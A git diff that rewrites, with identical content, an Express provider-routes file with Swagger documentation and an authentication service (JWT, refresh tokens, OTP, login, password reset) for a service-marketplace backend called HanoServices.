authorize(UserRole.PROVIDER), - upload.single('photo'), - ProviderController.update -); - -/** - * @swagger - * /api/providers/{id}/availability: - * patch: - * summary: Update provider availability status (Provider only) - * tags: [Providers] - * security: - * - bearerAuth: [] - * parameters: - * - in: path - * name: id - * required: true - * schema: - * type: string - * format: uuid - * description: Provider ID - * requestBody: - * required: true - * content: - * application/json: - * schema: - * type: object - * required: - * - availability - * properties: - * availability: - * type: string - * enum: [available, busy, offline] - * example: "available" - * responses: - * 200: - * description: Availability updated successfully - * content: - * application/json: - * schema: - * type: object - * properties: - * status: - * type: string - * example: "success" - * data: - * $ref: '#/components/schemas/Provider' - * 400: - * $ref: '#/components/responses/BadRequest' - * 401: - * $ref: '#/components/responses/Unauthorized' - * 403: - * $ref: '#/components/responses/Forbidden' - */ -router.patch('/:id/availability', authenticate, authorize(UserRole.PROVIDER), ProviderController.updateAvailability); - -/** - * @swagger - * /api/providers/{id}/portfolio: - * post: - * summary: Add portfolio image (Provider only) - * tags: [Providers] - * security: - * - bearerAuth: [] - * parameters: - * - in: path - * name: id - * required: true - * schema: - * type: string - * format: uuid - * description: Provider ID - * requestBody: - * required: true - * content: - * multipart/form-data: - * schema: - * type: object - * properties: - * image: - * type: string - * format: binary - * imageUrl: - * type: string - * format: uri - * example: "https://example.com/image.jpg" - * description: - * type: string - * example: "Completed bathroom renovation" - * application/json: - * schema: - * type: object - * properties: - * imageUrl: - * type: string - * format: uri - * example: "https://example.com/image.jpg" - * description: - * type: string - * example: "Completed bathroom renovation" - * responses: - * 201: - * description: Portfolio image added successfully - * content: - * application/json: - * schema: - * type: object - * properties: - * status: - * type: string - * example: "success" - * data: - * $ref: '#/components/schemas/PortfolioImage' - * 400: - * $ref: '#/components/responses/BadRequest' - * 401: - * $ref: '#/components/responses/Unauthorized' - * 403: - * $ref: '#/components/responses/Forbidden' - */ -router.post( - '/:id/portfolio', - createResourceLimiter, - authenticate, - authorize(UserRole.PROVIDER), - upload.single('image'), - ProviderController.addPortfolioImage -); - -/** - * @swagger - * /api/providers/{id}/portfolio/{portfolioId}: - * delete: - * summary: Delete portfolio image (Provider only) - * tags: [Providers] - * security: - * - bearerAuth: [] - * parameters: - * - in: path - * name: id - * required: true - * schema: - * type: string - * format: uuid - * description: Provider ID - * - in: path - * name: portfolioId - * required: true - * schema: - * type: string - * format: uuid - * description: Portfolio image ID - * responses: - * 200: - * description: Portfolio image deleted successfully - * content: - * application/json: - * schema: - * type: object - * properties: - * status: - * type: string - * example: "success" - * message: - * type: string - * example: "Portfolio image deleted successfully" - * 400: - * $ref: '#/components/responses/BadRequest' - * 401: - * $ref: '#/components/responses/Unauthorized' - * 403: - * $ref: '#/components/responses/Forbidden' - */ -router.delete('/:id/portfolio/:portfolioId', createResourceLimiter, authenticate, authorize(UserRole.PROVIDER), ProviderController.deletePortfolioImage); - -/** - * @swagger - * /api/providers/{id}/verification: - * post: - * summary: Submit verification request (Provider only) - * tags: [Providers] - * security: - * - bearerAuth: [] - * parameters: - * - in: path - * name: id - * required: true - * schema: - * type: string - * format: uuid - * description: Provider ID - * requestBody: - * required: true - * content: - * application/json: - * schema: - * type: object - * properties: - * idDocument: - * type: string - * format: uri - * example: "https://example.com/id-document.jpg" - * certificates: - * type: array - * items: - * type: string - * format: uri - * example: ["https://example.com/cert1.jpg", "https://example.com/cert2.jpg"] - * references: - * type: array - * items: - * type: string - * example: ["Reference 1", "Reference 2"] - * responses: - * 201: - * description: Verification request submitted successfully - * content: - * application/json: - * schema: - * type: object - * properties: - * status: - * type: string - * example: "success" - * data: - * $ref: '#/components/schemas/VerificationRequest' - * message: - * type: string - * example: "Verification request submitted successfully" - * 400: - * $ref: '#/components/responses/BadRequest' - * 401: - * $ref: '#/components/responses/Unauthorized' - * 403: - * $ref: '#/components/responses/Forbidden' - */ -router.post('/:id/verification', createResourceLimiter, authenticate, authorize(UserRole.PROVIDER), ProviderController.submitVerification); - -/** - * @swagger - * /api/providers/{id}/verification: - * get: - * summary: Get verification request (Provider only) - * tags: [Providers] - * security: - * - bearerAuth: [] - * parameters: - * - in: path - * name: id - * required: true - * schema: - * type: string - * format: uuid - * description: Provider ID - * responses: - * 200: - * description: Verification request details - * content: - * application/json: - * schema: - * type: object - * properties: - * status: - * type: string - * example: "success" - * data: - * $ref: '#/components/schemas/VerificationRequest' - * 401: - * $ref: '#/components/responses/Unauthorized' - * 403: - * $ref: '#/components/responses/Forbidden' - * 404: - * description: Verification request not found - * content: - * application/json: - * schema: - * $ref: '#/components/schemas/Error' - */ -router.get('/:id/verification', authenticate, authorize(UserRole.PROVIDER), ProviderController.getVerificationRequest); - -export default router; +import { Router } from 'express'; +import { ProviderController } from '../controllers/provider.controller'; +import { authenticate, authorize } from '../middleware/auth'; +import { UserRole } from '../types'; +import { createResourceLimiter } from '../middleware/rateLimit'; +import { upload } from '../middleware/upload'; + +const router = Router(); + +/** + * @swagger + * /api/providers/search: + * get: + * summary: Search providers with filters + * tags: [Providers] + * parameters: + * - in: query + * name: serviceCategoryId + * schema: + * type: string + * format: uuid + * description: Filter by service category + * - in: query + * name: latitude + * schema: + * type: number + * format: float + * description: User latitude for distance calculation + * - in: query + * name: longitude + * schema: + * type: number + * format: float + * description: User longitude for distance calculation + * - in: query + * name: maxDistance + * schema: + * type: number + * format: float + * description: Maximum distance in kilometers + * - in: query + * name: minRating + * schema: + * type: number + * format: float + * minimum: 0 + * maximum: 5 + * description: Minimum rating + * - in: query + * name: minPrice + * schema: + * type: number + * format: float + * description: Minimum price + * - in: query + * name: maxPrice + * schema: + * type: number + * format: float + * description: Maximum price + * - in: query + * name: availability + * schema: + * type: string + * enum: [available, busy, offline] + * description: Filter by availability status + * - in: query + * name: isVerified + * schema: + * type: boolean + * description: Filter by verification status + * - in: query + * name: limit + * schema: + * type: integer + * minimum: 1 + * maximum: 100 + * default: 20 + * description: Number of results to return + * - in: query + * name: offset + * schema: + * type: integer + * minimum: 0 + * default: 0 + * description: Number of results to skip + * responses: + * 200: + * description: List of providers matching the search criteria + * content: + * application/json: + * schema: + * type: object + * properties: + * status: + * type: string + * example: "success" + * data: + * type: array + * items: + * $ref: '#/components/schemas/Provider' + * count: + * type: integer + * example: 10 + * 400: + * $ref: '#/components/responses/BadRequest' + */ +router.get('/search', ProviderController.search); + +/** + * @swagger + * /api/providers/me/profile: + * get: + * summary: Get current user's provider profile (Provider only) + * tags: [Providers] + * security: + * - bearerAuth: [] + * responses: + * 200: + * description: Provider profile details + * content: + * application/json: + * schema: + * type: object + * properties: + * status: + * type: string + * example: "success" + * data: + * $ref: '#/components/schemas/Provider' + * 401: + * $ref: '#/components/responses/Unauthorized' + * 403: + * $ref: '#/components/responses/Forbidden' + * 404: + * description: Provider profile not found + * content: + * application/json: + * schema: + * $ref: '#/components/schemas/Error' + */ +router.get('/me/profile', authenticate, authorize(UserRole.PROVIDER), ProviderController.getMyProfile); + +/** + * @swagger + * /api/providers/me/stats: + * get: + * summary: Get current user's provider statistics (Provider only) + * tags: [Providers] + * security: + * - bearerAuth: [] + * responses: + * 200: + * description: Provider statistics + * content: + * application/json: + * schema: + * type: object + * properties: + * status: + * type: string + * example: "success" + * data: + * type: object + * properties: + * jobsDone: + * type: integer + * pendingJobs: + * type: integer + * activeJobs: + * type: integer + * earnings: + * type: number + * averageRating: + * type: number + * 401: + * $ref: '#/components/responses/Unauthorized' + * 403: + * $ref: '#/components/responses/Forbidden' + */ +router.get('/me/stats', authenticate, authorize(UserRole.PROVIDER), ProviderController.getStats); + +/** + * @swagger + * /api/providers/{id}: + * get: + * summary: Get provider profile by ID + * tags: [Providers] + * parameters: + * - in: path + * name: id + * required: true + * schema: + * type: string + * format: uuid + * description: Provider ID + * responses: + * 200: + * description: Provider profile details + * content: + * application/json: + * schema: + * type: object + * properties: + * status: + * type: string + * example: "success" + * data: + * $ref: '#/components/schemas/Provider' + * 404: + * description: Provider not found + * content: + * application/json: + * schema: + * $ref: '#/components/schemas/Error' + */ +router.get('/:id', ProviderController.getById); + +/** + * @swagger + * /api/providers/{id}/portfolio: + * get: + * summary: Get provider portfolio images + * tags: [Providers] + * parameters: + * - in: path + * name: id + * required: true + * schema: + * type: string + * format: uuid + * description: Provider ID + * responses: + * 200: + * description: List of portfolio images + * content: + * application/json: + * schema: + * type: object + * properties: + * status: + * type: string + * example: "success" + * data: + * type: array + * items: + * $ref: '#/components/schemas/PortfolioImage' + * 400: + * $ref: '#/components/responses/BadRequest' + */ +router.get('/:id/portfolio', ProviderController.getPortfolio); + +/** + * @swagger + * /api/providers: + * post: + * summary: Create provider profile (Provider only) + * tags: [Providers] + * security: + * - bearerAuth: [] + * requestBody: + * required: true + * content: + * multipart/form-data: + * schema: + * type: object + * required: + * - name + * - serviceCategoryId + * properties: + * name: + * type: string + * example: "John Doe" + * serviceCategoryId: + * type: string + * format: uuid + * example: "123e4567-e89b-12d3-a456-426614174000" + * photo: + * type: string + * format: binary + * priceRangeMin: + * type: number + * example: 10000 + * priceRangeMax: + * type: number + * example: 50000 + * yearsOfExperience: + * type: integer + * example: 5 + * latitude: + * type: number + * format: float + * example: -1.9441 + * longitude: + * type: number + * format: float + * example: 30.0619 + * address: + * type: string + * example: "Kigali, Rwanda" + * bio: + * type: string + * example: "Experienced plumber specializing in residential installations." + * certifications: + * type: array + * items: + * type: string + * example: ["Certified Plumber", "Safety Training 2023"] + * languages: + * type: array + * items: + * type: string + * example: ["English", "French", "Kinyarwanda"] + * availabilityHours: + * type: object + * example: + * mon: { open: "08:00", close: "17:00" } + * tue: { open: "08:00", close: "17:00" } + * responseRate: + * type: number + * format: float + * minimum: 0 + * maximum: 100 + * example: 95.5 + * responseTimeMinutes: + * type: integer + * minimum: 0 + * example: 30 + * website: + * type: string + * format: uri + * example: "https://johndoe-plumbing.rw" + * socialLinks: + * type: object + * example: + * twitter: "https://twitter.com/johndoe" + * linkedin: "https://linkedin.com/in/johndoe" + * preferredContactMethod: + * type: string + * enum: [phone, email, whatsapp, sms] + * example: "whatsapp" + * isFeatured: + * type: boolean + * example: false + * featuredUntil: + * type: string + * format: date-time + * example: "2025-03-01T00:00:00Z" + * application/json: + * schema: + * type: object + * required: + * - name + * - serviceCategoryId + * properties: + * name: + * type: string + * example: "John Doe" + * serviceCategoryId: + * type: string + * format: uuid + * example: "123e4567-e89b-12d3-a456-426614174000" + * photo: + * type: string + * format: uri + * example: "https://example.com/photo.jpg" + * priceRangeMin: + * type: number + * example: 10000 + * priceRangeMax: + * type: number + * example: 50000 + * yearsOfExperience: + * type: integer + * example: 5 + * latitude: + * type: number + * format: float + * example: -1.9441 + * longitude: + * type: number + * format: float + * example: 30.0619 + * address: + * type: string + * example: "Kigali, Rwanda" + * responses: + * 201: + * description: Provider profile created successfully + * content: + * application/json: + * schema: + * type: object + * properties: + * status: + * type: string + * example: "success" + * data: + * $ref: '#/components/schemas/Provider' + * 400: + * $ref: '#/components/responses/BadRequest' + * 401: + * $ref: '#/components/responses/Unauthorized' + * 403: + * $ref: '#/components/responses/Forbidden' + */ +router.post( + '/', + createResourceLimiter, + authenticate, + authorize(UserRole.PROVIDER), + upload.single('photo'), + ProviderController.create +); + + +/** + * @swagger + * /api/providers/{id}: + * put: + * summary: Update provider profile (Provider only) + * tags: [Providers] + * security: + * - bearerAuth: [] + * parameters: + * - in: path + * name: id + * required: true + * schema: + * type: string + * format: uuid + * description: Provider ID + * requestBody: + * required: true + * content: + * multipart/form-data: + * schema: + * type: object + * properties: + * name: + * type: string + * example: "John Doe" + * photo: + * type: string + * format: binary + * serviceCategoryId: + * type: string + * format: uuid + * priceRangeMin: + * type: number + * example: 10000 + * priceRangeMax: + * type: number + * example: 50000 + * yearsOfExperience: + * type: integer + * example: 5 + * latitude: + * type: number + * format: float + * example: -1.9441 + * longitude: + * type: number + * format: float + * example: 30.0619 + * address: + * type: string + * example: "Kigali, Rwanda" + * application/json: + * schema: + * type: object + * properties: + * name: + * type: string + * example: "John Doe" + * photo: + * type: string + * format: uri + * example: "https://example.com/photo.jpg" + * serviceCategoryId: + * type: string + * format: uuid + * priceRangeMin: + * type: number + * example: 10000 + * priceRangeMax: + * type: number + * example: 50000 + * yearsOfExperience: + * type: integer + * example: 5 + * latitude: + * type: number + * format: float + * example: -1.9441 + * longitude: + * type: number + * format: float + * example: 30.0619 + * address: + * type: string + * example: "Kigali, Rwanda" + * responses: + * 200: + * description: Provider profile updated successfully + * content: + * application/json: + * schema: + * type: object + * properties: + * status: + * type: string + * example: "success" + * data: + * $ref: '#/components/schemas/Provider' + * 400: + * $ref: '#/components/responses/BadRequest' + * 401: + * $ref: '#/components/responses/Unauthorized' + * 403: + * $ref: '#/components/responses/Forbidden' + */ +router.put( + '/:id', + authenticate, + authorize(UserRole.PROVIDER), + upload.single('photo'), + ProviderController.update +); + +/** + * @swagger + * /api/providers/{id}/availability: + * patch: + * summary: Update provider availability status (Provider only) + * tags: [Providers] + * security: + * - bearerAuth: [] + * parameters: + * - in: path + * name: id + * required: true + * schema: + * type: string + * format: uuid + * description: Provider ID + * requestBody: + * required: true + * content: + * application/json: + * schema: + * type: object + * required: + * - availability + * properties: + * availability: + * type: string + * enum: [available, busy, offline] + * example: "available" + * responses: + * 200: + * description: Availability updated successfully + * content: + * application/json: + * schema: + * type: object + * properties: + * status: + * type: string + * example: "success" + * data: + * $ref: '#/components/schemas/Provider' + * 400: + * $ref: '#/components/responses/BadRequest' + * 401: + * $ref: '#/components/responses/Unauthorized' + * 403: + * $ref: '#/components/responses/Forbidden' + */ +router.patch('/:id/availability', authenticate, authorize(UserRole.PROVIDER), ProviderController.updateAvailability); + +/** + * @swagger + * /api/providers/{id}/portfolio: + * post: + * summary: Add portfolio image (Provider only) + * tags: [Providers] + * security: + * - bearerAuth: [] + * parameters: + * - in: path + * name: id + * required: true + * schema: + * type: string + * format: uuid + * description: Provider ID + * requestBody: + * required: true + * content: + * multipart/form-data: + * schema: + * type: object + * properties: + * image: + * type: string + * format: binary + * imageUrl: + * type: string + * format: uri + * example: "https://example.com/image.jpg" + * description: + * type: string + * example: "Completed bathroom renovation" + * application/json: + * schema: + * type: object + * properties: + * imageUrl: + * type: string + * format: uri + * example: "https://example.com/image.jpg" + * description: + * type: string + * example: "Completed bathroom renovation" + * responses: + * 201: + * description: Portfolio image added successfully + * content: + * application/json: + * schema: + * type: object + * properties: + * status: + * type: string + * example: "success" + * data: + * $ref: '#/components/schemas/PortfolioImage' + * 400: + * $ref: '#/components/responses/BadRequest' + * 401: + * $ref: '#/components/responses/Unauthorized' + * 403: + * $ref: '#/components/responses/Forbidden' + */ +router.post( + '/:id/portfolio', + createResourceLimiter, + authenticate, + authorize(UserRole.PROVIDER), + upload.single('image'), + ProviderController.addPortfolioImage +); + +/** + * @swagger + * /api/providers/{id}/portfolio/{portfolioId}: + * delete: + * summary: Delete portfolio image (Provider only) + * tags: [Providers] + * security: + * - bearerAuth: [] + * parameters: + * - in: path + * name: id + * required: true + * schema: + * type: string + * format: uuid + * description: Provider ID + * - in: path + * name: portfolioId + * required: true + * schema: + * type: string + * format: uuid + * description: Portfolio image ID + * responses: + * 200: + * description: Portfolio image deleted successfully + * content: + * application/json: + * schema: + * type: object + * properties: + * status: + * type: string + * example: "success" + * message: + * type: string + * example: "Portfolio image deleted successfully" + * 400: + * $ref: '#/components/responses/BadRequest' + * 401: + * $ref: '#/components/responses/Unauthorized' + * 403: + * $ref: '#/components/responses/Forbidden' + */ +router.delete('/:id/portfolio/:portfolioId', createResourceLimiter, authenticate, authorize(UserRole.PROVIDER), ProviderController.deletePortfolioImage); + +/** + * @swagger + * /api/providers/{id}/verification: + * post: + * summary: Submit verification request (Provider only) + * tags: [Providers] + * security: + * - bearerAuth: [] + * parameters: + * - in: path + * name: id + * required: true + * schema: + * type: string + * format: uuid + * description: Provider ID + * requestBody: + * required: true + * content: + * application/json: + * schema: + * type: object + * properties: + * idDocument: + * type: string + * format: uri + * example: "https://example.com/id-document.jpg" + * certificates: + * type: array + * items: + * type: string + * format: uri + * example: ["https://example.com/cert1.jpg", "https://example.com/cert2.jpg"] + * references: + * type: array + * items: + * type: string + * example: ["Reference 1", "Reference 2"] + * responses: + * 201: + * description: Verification request submitted successfully + * content: + * application/json: + * schema: + * type: object + * properties: + * status: + * type: string + * example: "success" + * data: + * $ref: '#/components/schemas/VerificationRequest' + * message: + * type: string + * example: "Verification request submitted successfully" + * 400: + * $ref: '#/components/responses/BadRequest' + * 401: + * $ref: '#/components/responses/Unauthorized' + * 403: + * $ref: '#/components/responses/Forbidden' + */ +router.post('/:id/verification', createResourceLimiter, authenticate, authorize(UserRole.PROVIDER), ProviderController.submitVerification); + +/** + * @swagger + * /api/providers/{id}/verification: + * get: + * summary: Get verification request (Provider only) + * tags: [Providers] + * security: + * - bearerAuth: [] + * parameters: + * - in: path + * name: id + * required: true + * schema: + * type: string + * format: uuid + * description: Provider ID + * responses: + * 200: + * description: Verification request details + * content: + * application/json: + * schema: + * type: object + * properties: + * status: + * type: string + * example: "success" + * data: + * $ref: '#/components/schemas/VerificationRequest' + * 401: + * $ref: '#/components/responses/Unauthorized' + * 403: + * $ref: '#/components/responses/Forbidden' + * 404: + * description: Verification request not found + * content: + * application/json: + * schema: + * $ref: '#/components/schemas/Error' + */ +router.get('/:id/verification', authenticate, authorize(UserRole.PROVIDER), ProviderController.getVerificationRequest); + +export default router; diff --git a/src/services/auth.service.ts b/src/services/auth.service.ts index 60ccc7a..97cdf76 100644 --- a/src/services/auth.service.ts +++ b/src/services/auth.service.ts @@ -1,293 +1,293 @@ -import jwt, { type Secret, type SignOptions } from 'jsonwebtoken'; -import crypto from 'crypto'; -import { config } from '../config/config'; -import { UserModel } from '../models/User'; -import { OTPModel } from '../models/OTP'; -import { UserRole } from '../types'; -import { SmsService } from './sms.service'; -import { RefreshTokenModel } from '../models/RefreshToken'; -import { logError } from '../utils/logger'; - -export interface AuthTokens { - accessToken: string; - refreshToken: string; - user: { - id: string; - username: string; - phone: string; - email?: string; - role: UserRole; - isPhoneVerified: boolean; - lastLogin?: Date; - emailNotifications?: boolean; - smsNotifications?: boolean; - pushNotifications?: boolean; - }; -} - -export class AuthService { - /** - * Generate JWT token - */ - static generateToken(userId: string, role: UserRole): string { - const payload = { userId, role }; - const secret = config.jwt.secret as Secret; - const options: SignOptions = { - // Cast to supported expiresIn type; value is validated via config/env - expiresIn: config.jwt.expiresIn as unknown as SignOptions['expiresIn'], - }; - - return jwt.sign(payload, secret, options); - } - - /** - * Generate and persist a refresh token for a user - */ - static async generateRefreshToken(userId: string): Promise { - const token = crypto.randomBytes(64).toString('hex'); - const expiresAt = new Date(); - expiresAt.setDate(expiresAt.getDate() + config.jwt.refreshExpiresInDays); - - await RefreshTokenModel.create(userId, token, expiresAt); - return token; - } - - /** - * Register a new user - */ - static async register( - username: string, - phone: string, - role: UserRole, - email?: string, - password?: string - ): Promise { - try { - // Check if username already exists - const existingUserByUsername = await UserModel.findByUsername(username); - if (existingUserByUsername) { - throw new Error('Username already taken'); - } - - // Check if phone number already exists - const existingUserByPhone = await UserModel.findByPhone(phone); - if (existingUserByPhone) { - throw new Error('User with this phone number already exists'); - } - - // Create user - const user = await UserModel.create(username, phone, role, email, password); - - // Generate tokens - const accessToken = this.generateToken(user.id, user.role); - const refreshToken = await this.generateRefreshToken(user.id); - - return { - accessToken, - refreshToken, - user: { - id: user.id, - username: user.username, - phone: user.phone, - email: user.email, - role: user.role, - isPhoneVerified: user.isPhoneVerified, - lastLogin: user.lastLogin, - emailNotifications: user.emailNotifications, - smsNotifications: user.smsNotifications, - pushNotifications: user.pushNotifications, - }, - }; - } catch (error: any) { - logError(error.message, 'AuthService.register'); - throw error; - } - } - - /** - * Send OTP for phone verification - */ - static async sendOTP(phone: string): Promise { - // Check if user exists - const user = await UserModel.findByPhone(phone); - if (!user) { - throw new Error('User not found'); - } - - // Generate and store OTP - const code = await OTPModel.create(phone); - - const message = `Your HanoServices verification code is: ${code}. It expires in ${config.otp.expiryMinutes} minutes.`; - - // In development, normally we would log OTP to console for easier testing, - // but security audit requested we disable this to prevent leaks. - // If testing locally, rely on actual SMS or a test test-specific mock. - - // Send via SMS (best-effort; log errors but don't expose them to users) - try { - await SmsService.sendSMS(phone, message); - } catch (err) { - console.error('Failed to send OTP SMS:', err); - // Optionally: rethrow in production if you want to block flow when SMS fails - if (config.nodeEnv === 'production') { - throw new Error('Failed to send verification SMS. Please try again later.'); - } - } - } - - /** - * Verify OTP and mark phone as verified - */ - static async verifyOTP(phone: string, code: string): Promise { - const isValid = await OTPModel.verify(phone, code); - - if (isValid) { - const user = await UserModel.findByPhone(phone); - if (user && !user.isPhoneVerified) { - await UserModel.verifyPhone(user.id); - } - } - - return isValid; - } - - /** - * Login with phone and password - */ - static async login(phone: string, password: string): Promise { - const user = await UserModel.findByPhone(phone); - if (!user) { - throw new Error('Invalid credentials'); - } - - if (!user.password) { - throw new Error('Password not set. Please use OTP login or set a password.'); - } - - const isValidPassword = await UserModel.verifyPassword( - password, - user.password - ); - if (!isValidPassword) { - throw new Error('Invalid credentials'); - } - - await UserModel.updateLastLogin(user.id); - const accessToken = this.generateToken(user.id, user.role); - const refreshToken = await this.generateRefreshToken(user.id); - - return { - accessToken, - refreshToken, - user: { - id: user.id, - username: user.username, - phone: user.phone, - email: user.email, - role: user.role, - isPhoneVerified: user.isPhoneVerified, - lastLogin: new Date(), - emailNotifications: user.emailNotifications, - smsNotifications: user.smsNotifications, - pushNotifications: user.pushNotifications, - }, - }; - } - - /** - * Login with OTP (passwordless) - */ - static async loginWithOTP(phone: string, code: string): Promise { - const isValid = await OTPModel.verify(phone, code); - if (!isValid) { - throw new Error('Invalid or expired OTP'); - } - - const user = await UserModel.findByPhone(phone); - if (!user) { - throw new Error('User not found'); - } - - // Mark phone as verified if not already - if (!user.isPhoneVerified) { - await UserModel.verifyPhone(user.id); - } - - await UserModel.updateLastLogin(user.id); - - const accessToken = this.generateToken(user.id, user.role); - const refreshToken = await this.generateRefreshToken(user.id); - - return { - accessToken, - refreshToken, - user: { - id: user.id, - username: user.username, - phone: user.phone, - email: user.email, - role: user.role, - isPhoneVerified: true, - lastLogin: new Date(), - emailNotifications: user.emailNotifications, - smsNotifications: user.smsNotifications, - pushNotifications: user.pushNotifications, - }, - }; - } - - /** - * Reset password - */ - static async resetPassword( - phone: string, - newPassword: string - ): Promise { - const user = await UserModel.findByPhone(phone); - if (!user) { - throw new Error('User not found'); - } - - await UserModel.updatePassword(user.id, newPassword); - } - - /** - * Refresh access token using a valid refresh token - */ - static async refreshTokens(refreshToken: string): Promise { - const record = await RefreshTokenModel.findValid(refreshToken); - if (!record) { - throw new Error('Invalid or expired refresh token'); - } - - const user = await UserModel.findById(record.userId); - if (!user) { - throw new Error('User not found'); - } - - // Rotate refresh token: revoke old and issue new - await RefreshTokenModel.revokeById(record.id); - const newRefreshToken = await this.generateRefreshToken(user.id); - const accessToken = this.generateToken(user.id, user.role); - - return { - accessToken, - refreshToken: newRefreshToken, - user: { - id: user.id, - username: user.username, - phone: user.phone, - email: user.email, - role: user.role, - isPhoneVerified: user.isPhoneVerified, - }, - }; - } - - /** - * Logout user by revoking all their refresh tokens - */ - static async logout(userId: string): Promise { - await RefreshTokenModel.revokeAllForUser(userId); - } -} +import jwt, { type Secret, type SignOptions } from 'jsonwebtoken'; +import crypto from 'crypto'; +import { config } from '../config/config'; +import { UserModel } from '../models/User'; +import { OTPModel } from '../models/OTP'; +import { UserRole } from '../types'; +import { SmsService } from './sms.service'; +import { RefreshTokenModel } from '../models/RefreshToken'; +import { logError } from '../utils/logger'; + +export interface AuthTokens { + accessToken: string; + refreshToken: string; + user: { + id: string; + username: string; + phone: string; + email?: string; + role: UserRole; + isPhoneVerified: boolean; + lastLogin?: Date; + emailNotifications?: boolean; + smsNotifications?: boolean; + pushNotifications?: boolean; + }; +} + +export class AuthService { + /** + * Generate JWT token + */ + static generateToken(userId: string, role: UserRole): string { + const payload = { userId, role }; + const secret = config.jwt.secret as Secret; + const options: SignOptions = { + // Cast to supported expiresIn type; value is validated via config/env + expiresIn: config.jwt.expiresIn as unknown as SignOptions['expiresIn'], + }; + + return jwt.sign(payload, secret, options); + } + + /** + * Generate and persist a refresh token for a user + */ + static async generateRefreshToken(userId: string): Promise { + const token = crypto.randomBytes(64).toString('hex'); + const expiresAt = new Date(); + expiresAt.setDate(expiresAt.getDate() + config.jwt.refreshExpiresInDays); + + await RefreshTokenModel.create(userId, token, expiresAt); + return token; + } + + /** + * Register a new user + */ + static async register( + username: string, + phone: string, + role: UserRole, + email?: string, + password?: string + ): Promise { + try { + // Check if username already exists + const existingUserByUsername = await UserModel.findByUsername(username); + if (existingUserByUsername) { + throw new Error('Username already taken'); + } + + // Check if phone number already exists + const existingUserByPhone = await UserModel.findByPhone(phone); + if (existingUserByPhone) { + throw new Error('User with this phone number already exists'); + } + + // Create user + const user = await UserModel.create(username, phone, role, email, password); + + // Generate tokens + const accessToken = this.generateToken(user.id, user.role); + const refreshToken = await this.generateRefreshToken(user.id); + + return { + accessToken, + refreshToken, + user: { + id: user.id, + username: user.username, + phone: user.phone, + email: user.email, + role: user.role, + isPhoneVerified: user.isPhoneVerified, + lastLogin: user.lastLogin, + emailNotifications: user.emailNotifications, + smsNotifications: user.smsNotifications, + pushNotifications: user.pushNotifications, + }, + }; + } catch (error: any) { + logError(error.message, 'AuthService.register'); + throw error; + } + } + + /** + * Send OTP for phone verification + */ + static async sendOTP(phone: string): Promise { + // Check if user exists + const user = await UserModel.findByPhone(phone); + if (!user) { + throw new Error('User not found'); + } + + // Generate and store OTP + const code = await OTPModel.create(phone); + + const message = `Your HanoServices verification code is: ${code}. It expires in ${config.otp.expiryMinutes} minutes.`; + + // In development, normally we would log OTP to console for easier testing, + // but security audit requested we disable this to prevent leaks. + // If testing locally, rely on actual SMS or a test test-specific mock. + + // Send via SMS (best-effort; log errors but don't expose them to users) + try { + await SmsService.sendSMS(phone, message); + } catch (err) { + console.error('Failed to send OTP SMS:', err); + // Optionally: rethrow in production if you want to block flow when SMS fails + if (config.nodeEnv === 'production') { + throw new Error('Failed to send verification SMS. Please try again later.'); + } + } + } + + /** + * Verify OTP and mark phone as verified + */ + static async verifyOTP(phone: string, code: string): Promise { + const isValid = await OTPModel.verify(phone, code); + + if (isValid) { + const user = await UserModel.findByPhone(phone); + if (user && !user.isPhoneVerified) { + await UserModel.verifyPhone(user.id); + } + } + + return isValid; + } + + /** + * Login with phone and password + */ + static async login(phone: string, password: string): Promise { + const user = await UserModel.findByPhone(phone); + if (!user) { + throw new Error('Invalid credentials'); + } + + if (!user.password) { + throw new Error('Password not set. Please use OTP login or set a password.'); + } + + const isValidPassword = await UserModel.verifyPassword( + password, + user.password + ); + if (!isValidPassword) { + throw new Error('Invalid credentials'); + } + + await UserModel.updateLastLogin(user.id); + const accessToken = this.generateToken(user.id, user.role); + const refreshToken = await this.generateRefreshToken(user.id); + + return { + accessToken, + refreshToken, + user: { + id: user.id, + username: user.username, + phone: user.phone, + email: user.email, + role: user.role, + isPhoneVerified: user.isPhoneVerified, + lastLogin: new Date(), + emailNotifications: user.emailNotifications, + smsNotifications: user.smsNotifications, + pushNotifications: user.pushNotifications, + }, + }; + } + + /** + * Login with OTP (passwordless) + */ + static async loginWithOTP(phone: string, code: string): Promise { + const isValid = await OTPModel.verify(phone, code); + if (!isValid) { + throw new Error('Invalid or expired OTP'); + } + + const user = await UserModel.findByPhone(phone); + if (!user) { + throw new Error('User not found'); + } + + // Mark phone as verified if not already + if (!user.isPhoneVerified) { + await UserModel.verifyPhone(user.id); + } + + await UserModel.updateLastLogin(user.id); + + const accessToken = this.generateToken(user.id, user.role); + const refreshToken = await this.generateRefreshToken(user.id); + + return { + accessToken, + refreshToken, + user: { + id: user.id, + username: user.username, + phone: user.phone, + email: user.email, + role: user.role, + isPhoneVerified: true, + lastLogin: new Date(), + emailNotifications: user.emailNotifications, + smsNotifications: user.smsNotifications, + pushNotifications: user.pushNotifications, + }, + }; + } + + /** + * Reset password + */ + static async resetPassword( + phone: string, + newPassword: string + ): Promise { + const user = await UserModel.findByPhone(phone); + if (!user) { + throw new Error('User not found'); + } + + await UserModel.updatePassword(user.id, newPassword); + } + + /** + * Refresh access token using a valid refresh token + */ + static async refreshTokens(refreshToken: string): Promise { + const record = await RefreshTokenModel.findValid(refreshToken); + if (!record) { + throw new Error('Invalid or expired refresh token'); + } + + const user = await UserModel.findById(record.userId); + if (!user) { + throw new Error('User not found'); + } + + // Rotate refresh token: revoke old and issue new + await RefreshTokenModel.revokeById(record.id); + const newRefreshToken = await this.generateRefreshToken(user.id); + const accessToken = this.generateToken(user.id, user.role); + + return { + accessToken, + refreshToken: newRefreshToken, + user: { + id: user.id, + username: user.username, + phone: user.phone, + email: user.email, + role: user.role, + isPhoneVerified: user.isPhoneVerified, + }, + }; + } + + /** + * Logout user by revoking all their refresh tokens + */ + static async logout(userId: string): Promise { + await RefreshTokenModel.revokeAllForUser(userId); + } +}